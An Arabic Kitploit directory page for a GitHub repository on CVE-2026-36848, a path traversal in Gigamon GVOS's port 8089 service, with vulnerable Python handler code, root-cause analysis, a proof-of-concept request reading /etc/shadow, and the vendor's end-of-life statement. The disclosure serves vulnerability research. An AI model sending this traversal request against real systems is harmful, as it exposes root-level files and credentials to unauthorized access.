Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-36848 — Gigamon RCE غير مصادق (CVE-2026-36848) | Kitploit
أدوات/GitHubGitHub/calligraf0/cve-2026-36848
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالفريق الأحمر
GitHubcalligraf0/cve-2026-36848

CVE-2026-36848

Gigamon RCE غير مصادق (CVE-2026-36848)

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-36848

تم تحديد ثغرة حرجة في اجتياز المسار (Path Traversal) في محرك الإدارة القائم على الويب على المنفذ 8089 لأجهزة Gigamon-VUE OS (GVOS). توجد هذه الثغرة في النظام الفرعي القديم H-VUE داخل الخفي persistd، وتسمح لمهاجم عن بُعد غير مصادق مع إمكانية الوصول إلى الشبكة على الخدمة بقراءة ملفات عشوائية وتنفيذ عمليات كتابة جزئية (لا يمكن الكتابة فوق الملفات الموجودة) على النظام بامتيازات الجذر.


1. نظرة عامة على الثغرة

  • معرف CVE: CVE-2026-36848
  • المنفذ المستهدف: 8089 (تطبيق ويب TornadoHTTP)
  • المكون المعرض للخطر: /opt/tms/persistd_py/persistd.py
  • فئة الثغرة: اجتياز المسار (CWE-22)
  • الأثر: قراءة ملفات عشوائية وكتابة ملفات جزئية عشوائية (تُنفذ تحت المستخدم root)

2. تحليل الكود الفني والسبب الجذري

تعمل خدمة الويب TornadoHTTP على المنفذ 8089، وتطبق تكوين توجيه (Routing) يُربط داخل /opt/tms/persistd_py/persistd.py. يعرض هذا الخفي عدة مسارات للتعامل مع التفاعلات مع قاعدة البيانات والنسخ الاحتياطي للتكوين:

root@kitploit:~
app = tornado.web.Application([
    (r"/upload(?:/([^/]*))/?", UploadDbFile),
    (r"/download/([^/]+)/?", DownloadDbFile),
    # ... other routes
])

انتشار الإدخال غير المنقى

تستهلك المعالجات DownloadDbFile و UploadDbFile المسارات التي يوفرها المستخدم مباشرة من مجموعات الالتقاط في تعبير URI العادي (regex capture groups) وتمررها دون فلترة إلى وظائف المساعدة ذات المستوى الأدنى.


2.1 اجتياز مسار تنزيل الملف (قراءة ملف عشوائي)

عندما يطلب عميل تنزيل ملف، يقوم معالج GET باستدعاء وظيفة download_file المساعدة:

root@kitploit:~
class DownloadDbFile(GenericApiHandler):
    @gen.coroutine
    def get(self, file_name):
        # ... [validation steps skipped for clarity] ...
        elif file_name is not None:
            msgif = yield download_file(self, file_name)

تحاول الوظيفة المستهدفة الأساسية download_file فتح الملف المطلوب باستخدام تسلسل نصي بسيط (string concatenation) بدلاً من حل مسار آمن (canonical path):

root@kitploit:~
@gen.coroutine
def download_file(caller, file_name):
    buf_size = 4096
    caller.set_header('Content-Type', 'application/octet-stream')
    caller.set_header('Content-Disposition', 'filename=' + file_name)
    msg = 'ok'
    try:
        # Root Cause: Direct concatenation enables directory breakout via traversal sequences
        with open(DBFILE_DIR + file_name, 'r') as f:
            while True:
                data = f.read(buf_size)
                if not data:
                    break
                caller.write(data)
    except IOError as ioe:
        msg = ioe
    raise gen.Return(msg)

نظرًا لعدم وجود أي فلترة صارمة (مثل التحقق من وجود تسلسلات اجتياز الدليل مثل ..)، فإن أي تسلسل مسار نسبي يتم حقنه عبر file_name يُسلسل مباشرة إلى DBFILE_DIR ويتم حله نسبة إلى جذر النظام.


2.2 اجتياز مسار رفع الملف (كتابة ملف عشوائي)

بالمثل، يقوم معالج PUT المستخدم لرفع قاعدة البيانات بتمرير نص الطلب (request body) والمسار الذي يحدده المستخدم مباشرة إلى وظيفة upload_file المساعدة:

root@kitploit:~
class UploadDbFile(GenericApiHandler):
    @gen.coroutine
    def put(self, path=None):
        # ...
        if path is not None:
            msgif = yield upload_file(self.request.body, path)

تستخدم روتين upload_file الدالة os.path.join لتحديد المسار الهدف. ومع ذلك، فإن هناك مفهومًا أمنيًا خاطئًا شائعًا وهو أن os.path.join يحمي من الاجتياز. في الواقع، إذا كان المكون الذي تم تمريره إلى os.path.join يمثل مسارًا مطلقًا أو يحتوي على خطوات اجتياز نسبية، فسيهرب المسار الذي تم حله من الدليل الأساسي:

root@kitploit:~
@gen.coroutine
def upload_file(body, path):
    msg = 'ok'
    tmp_path = None
    try:
        yield lock.acquire()
        # Vulnerable Sink 1: os.path.join does not neutralize directory traversal sequences
        full_path = os.path.join(DBFILE_DIR, path)
        if os.path.exists(full_path):
            msg = 'dup'
        else:
            tmp_path = full_path + '.tmp'
            old_files = filesInDir(DBFILE_DIR)
            with open(tmp_path, 'wb') as out:
                out.write(bytes(body))
                # Vulnerable Sink 2: rename operation performs unsafe string concatenation
                os.rename(tmp_path, DBFILE_DIR + path)

هذا النقص الهيكلي في تنقية الإدخال يسمح للمهاجم بتقديم مسار يحتوي على خطوات اجتياز، مما يمكن الخدمة من كتابة ملفات عشوائية خارج حدود DBFILE_DIR بصلاحيات سياق المستخدم الجذر الذي يدير الخفي.


3. إثبات المفهوم (PoC)

إذا قام المهاجم بترميز فواصل المسار URL-encode (مثل / كـ %2F)، فإن محرك التوجيه يفك الترميز ويقيّم التسلسل بسلاسة، متجاوزًا قيود المسار القياسية.

قراءة ملف عشوائي (طلب إثبات المفهوم)

root@kitploit:~
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <target_ip>:8089
Accept: /

4. المعالجة والرد الرسمي من البائع

فيما يلي البيان الرسمي وإرشادات الترقية المقدمة من البائع بخصوص هذه الثغرة:

كانت المشكلة في CVE هذه موجودة فقط في النظام الفرعي H-VUE. أزال إصدار GVOS 6 النظام الفرعي H-VUE بالكامل، وكان GVOS 5.16.1 هو آخر إصدار يضمه. انتهى دعم الإصدار 5.16.1 في 26 مايو 2023. لا يحتوي أي إصدار مدعوم حاليًا من GVOS على هذه الثغرة.

يمكن العثور على مصفوفة دعم GVOS، والتي توثق الإصدارات المدعومة وتواريخ انتهاء الدعم، هنا:
https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdf

يمكن العثور على سياسة Gigamon لإنهاء البيع وإنهاء العمر الافتراضي هنا:
https://www.gigamon.com/support/policies/eol-policy.html

يجب ألا يقوم أي بيئة إنتاج من Gigamon بتشغيل إصدار برنامج غير مدعوم (NIST SP 800-53 SA-22 "مكونات النظام غير المدعومة"). إذا كنت تفعل ذلك، توصي Gigamon بشدة بالترقية إلى إصدار مدعوم في أقرب وقت ممكن. يمكن للعملاء المدعومين الحصول على إصدارات مطورة من GVOS من بوابة مجتمع Gigamon. يُطلب من العملاء غير المدعومين الاتصال بـ Gigamon لمناقشة خيارات الدعم:
https://www.gigamon.com/contact-sales.html


نود أن نعرب عن امتناننا لفرق أمان المنتجات والهندسة في Gigamon على تنسيقهم المثالي خلال عملية الإفصاح هذه.

تنزيل الأداة